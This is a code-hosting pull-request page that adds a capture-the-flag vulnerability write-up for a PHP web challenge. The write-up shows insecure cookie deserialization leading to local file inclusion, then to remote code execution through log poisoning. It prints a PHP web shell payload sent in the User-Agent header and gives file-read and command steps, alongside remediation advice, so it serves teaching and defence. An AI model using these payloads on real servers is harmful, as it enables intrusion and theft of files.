Skip to content
Open
Changes from all commits
Commits
Show all changes
37 commits
Select commit Hold shift + click to select a range
4db9035
Add files via upload
TrishaSrikanth-459 Feb 13, 2026
62d628e
Delete 75fcc8f2-a6eb-427c-b2b4-c68421f8cd36_ExportBlock-b6b6c766-31fd…
TrishaSrikanth-459 Feb 13, 2026
25cc8ab
Add files via upload
TrishaSrikanth-459 Feb 13, 2026
e8f2db9
Fix image link encoding in Writeup #1
TrishaSrikanth-459 Feb 13, 2026
a7b2c34
Delete ExportBlock-b6b6c766-31fd-405d-8856-91cd8a5dc230-Part-1 directory
TrishaSrikanth-459 Mar 3, 2026
085e849
Add files via upload
TrishaSrikanth-459 Mar 3, 2026
6bbf626
Update Writeup #1 2f71c9147015804582a8d45dae5f41b6.md
TrishaSrikanth-459 Mar 3, 2026
c0542e8
Rename Writeup #1 2f71c9147015804582a8d45dae5f41b6.md to Writeup#1.md
TrishaSrikanth-459 Mar 3, 2026
5c82dbb
Rename Screenshot_2026-01-29_at_6.09.20_PM.png to Contact-Us.png
TrishaSrikanth-459 Mar 3, 2026
90c170e
Rename Screenshot_2026-01-29_at_6.15.59_PM.png to Session-Hijacking.png
TrishaSrikanth-459 Mar 3, 2026
e00af3a
Rename Session-Hijacking.png to XSS-Attack.png
TrishaSrikanth-459 Mar 3, 2026
23c174f
Rename Screenshot_2026-02-01_at_7.12.22_PM.png to Session-Hijacking.png
TrishaSrikanth-459 Mar 3, 2026
a31f050
Delete ExportBlock-6993437b-eb91-4735-885c-d861beab598a-Part-1/Writeu…
TrishaSrikanth-459 Mar 3, 2026
8880d33
Add files via upload
TrishaSrikanth-459 Mar 3, 2026
afc7080
Rename Screenshot_2026-02-01_at_7.12.22_PM.png to Session-Hijacking.png
TrishaSrikanth-459 Mar 3, 2026
9664d12
Rename 1_tZaHIrqrHRwd2Bf5TvspUA.webp to Chat-With-Admin.webp
TrishaSrikanth-459 Mar 3, 2026
2298183
Rename 1_DhdmTHv0CTUsf0Xi67dulA.webp to Privilege-Escalation.webp
TrishaSrikanth-459 Mar 3, 2026
ea5544e
Rename Privilege-Escalation.webp to Finance-Webpage.webp
TrishaSrikanth-459 Mar 3, 2026
fa103cb
Rename Screenshot_2026-02-01_at_7.36.36_PM.png to Privilege-Esalation…
TrishaSrikanth-459 Mar 3, 2026
773e28b
Update Writeup#1.md
TrishaSrikanth-459 Mar 3, 2026
6b53538
Create Writeup-#1
TrishaSrikanth-459 Mar 3, 2026
3312d47
Rename Chat-With-Admin.webp to Chat-With-Admin.webp
TrishaSrikanth-459 Mar 3, 2026
16ab9be
Rename Contact-Us.png to Contact-Us.png
TrishaSrikanth-459 Mar 3, 2026
9ae8b01
Rename XSS-Attack.png to XSS-Attack.png
TrishaSrikanth-459 Mar 3, 2026
556ded2
Rename Session-Hijacking.png to Session-Hijacking.png
TrishaSrikanth-459 Mar 3, 2026
2bcf602
Rename Privilege-Esalation.png to Privilege-Esalation.png
TrishaSrikanth-459 Mar 3, 2026
d2ced30
Rename Finance-Webpage.webp to Finance-Webpage.webp
TrishaSrikanth-459 Mar 3, 2026
047f7f3
Delete ExportBlock-6993437b-eb91-4735-885c-d861beab598a-Part-1/Writeu…
TrishaSrikanth-459 Mar 3, 2026
015642f
Update Writeup#1.md
TrishaSrikanth-459 Mar 3, 2026
2562c0a
Rename Privilege-Esalation.png to Privilege-Escalation.png
TrishaSrikanth-459 Mar 3, 2026
d72fc9c
Add files via upload
TrishaSrikanth-459 Mar 15, 2026
dfa4059
Delete writeup.md
TrishaSrikanth-459 Mar 15, 2026
3087e17
Add files via upload
TrishaSrikanth-459 Mar 15, 2026
c1be2f0
Delete spiky_tamagotchi_vulnerability_report.md
TrishaSrikanth-459 Mar 15, 2026
beaddcf
Add files via upload
TrishaSrikanth-459 Apr 13, 2026
b870880
Delete ExportBlock-6993437b-eb91-4735-885c-d861beab598a-Part-1 directory
TrishaSrikanth-459 Apr 26, 2026
93c4f18
Rename vulnerability_report.md to htb-web-toxic.md
TrishaSrikanth-459 Apr 26, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
290 changes: 290 additions & 0 deletions htb-web-toxic.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,290 @@
# Vulnerability Report

## Context

The vulnerable program is a PHP web application composed of:

- Backend logic in `index.php` and `PageModel.php`
- A static frontend in `index.html`

The vulnerability exists entirely in the backend logic and is triggered through cookie handling.

The application implements a custom session mechanism using a cookie named `PHPSESSID`. Instead of storing session state on the server, it serializes a PHP object, encodes it with Base64, and stores it directly in the client cookie.

### Application Flow

1. If no `PHPSESSID` cookie is present:
- A `PageModel` object is created
- `$file` is set to `/www/index.html`
- The object is serialized and Base64-encoded
- The encoded value is stored in the cookie

2. On every request:
- The cookie is Base64-decoded
- The result is passed directly into `unserialize()`

### Relevant Backend Code

```php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';

setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
```

### PageModel Class

```php
class PageModel
{
public $file;

public function __destruct()
{
include($this->file);
}
}
```

### Execution Environment

- PHP running in a Linux environment
- Nginx web server (inferred from log path `/var/log/nginx/access.log`)
- Container startup script renames a sensitive file:

```bash
mv /flag /flag_<random_suffix>
```

### Input Surface

The attack surface consists of:

- `PHPSESSID` cookie (fully attacker-controlled)
- HTTP headers (used during exploitation for log poisoning)

---

## Vulnerability

### Classification

- **CWE-502**: Deserialization of Untrusted Data
- **CWE-98**: Improper Control of Filename for Include/Require Statement

### Root Cause

The application performs unsafe deserialization of untrusted input:

```php
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
```

There is no validation, authentication, or restriction on the serialized object. This allows an attacker to construct arbitrary PHP objects and control their internal state.

### Dangerous Sink

The `PageModel` class defines a destructor that includes a file:

```php
public function __destruct()
{
include($this->file);
}
```

Because `$file` is a public property, it can be controlled by the attacker through deserialization.

### Vulnerability Mechanics

1. Attacker supplies a malicious serialized object via the cookie
2. The application unserializes the object
3. The object's properties are populated with attacker-controlled values
4. At the end of execution, PHP invokes `__destruct()`
5. The application executes:

```php
include($this->file);
```

This results in a **Local File Inclusion (LFI)** vulnerability.

### Trigger Condition

The vulnerability is triggered when the attacker sends a request containing:

- A `PHPSESSID` cookie
- The cookie contains a Base64-encoded serialized `PageModel` object
- The `$file` property is set to an arbitrary file path

---

## Exploitation

### Overview

The vulnerability enables a multi-stage exploit chain:

1. Insecure deserialization → Local File Inclusion (LFI)
2. LFI → Remote Code Execution (RCE) via log poisoning

### Stage 1: Local File Inclusion

The attacker crafts a serialized object:

```php
class PageModel {
public $file = "/etc/passwd";
}
```

The object is serialized, Base64-encoded, and placed into the `PHPSESSID` cookie. When processed:

```php
include("/etc/passwd");
```

This results in disclosure of arbitrary files on the server.

### Stage 2: Log Poisoning

To escalate to code execution:

1. Send a request with a malicious `User-Agent` header:

```
<?php system($_GET['cmd']); ?>
```

This payload is written to:

```
/var/log/nginx/access.log
```

2. Modify the serialized object:

```php
class PageModel {
public $file = "/var/log/nginx/access.log";
}
```

3. When included:

```php
include("/var/log/nginx/access.log");
```

The injected PHP code executes.

### Stage 3: Command Execution

The attacker can now execute commands via:

```
/?cmd=ls
/?cmd=cat /flag_<random>
```

Because the flag filename is randomized at runtime, the attacker must first enumerate files before reading it.

### Exploit Primitives

This vulnerability chain provides:

- Arbitrary object injection
- Arbitrary file inclusion
- Arbitrary file read
- Arbitrary command execution

---

## Remediation

### 1. Eliminate Unsafe Deserialization

**Replace:**

```php
unserialize($cookie);
```

**With:**

```php
json_decode($cookie, true);
```

Or restrict classes:

```php
unserialize($cookie, ['allowed_classes' => false]);
```

### 2. Remove Dangerous Destructor Behavior

Avoid performing sensitive actions in `__destruct()`:

```php
public function __destruct()
{
include($this->file);
}
```

Use explicit, controlled function calls instead.

### 3. Validate File Paths

If file inclusion is required:

- Use an allowlist of permitted files
- Use `realpath()` to resolve paths
- Restrict access to a specific directory

### 4. Protect Cookies

- Sign cookies using HMAC
- Reject modified or tampered cookies

### 5. Harden Logging

- Store logs outside executable contexts
- Prevent logs from being interpreted as PHP code

### 6. Variant Analysis

To identify similar vulnerabilities:

- Search for `unserialize()` applied to user input
- Identify magic methods (`__destruct`, `__wakeup`)
- Trace data flow to dangerous sinks (`include`, `system`)
- Use static analysis tools (e.g., PHPStan, Psalm)
- Perform fuzzing with serialized payloads

---

## Summary

The vulnerability is caused by unsafe deserialization of attacker-controlled input combined with a destructor that performs file inclusion. This enables an attacker to escalate from Local File Inclusion to Remote Code Execution via log poisoning, resulting in full compromise of the application.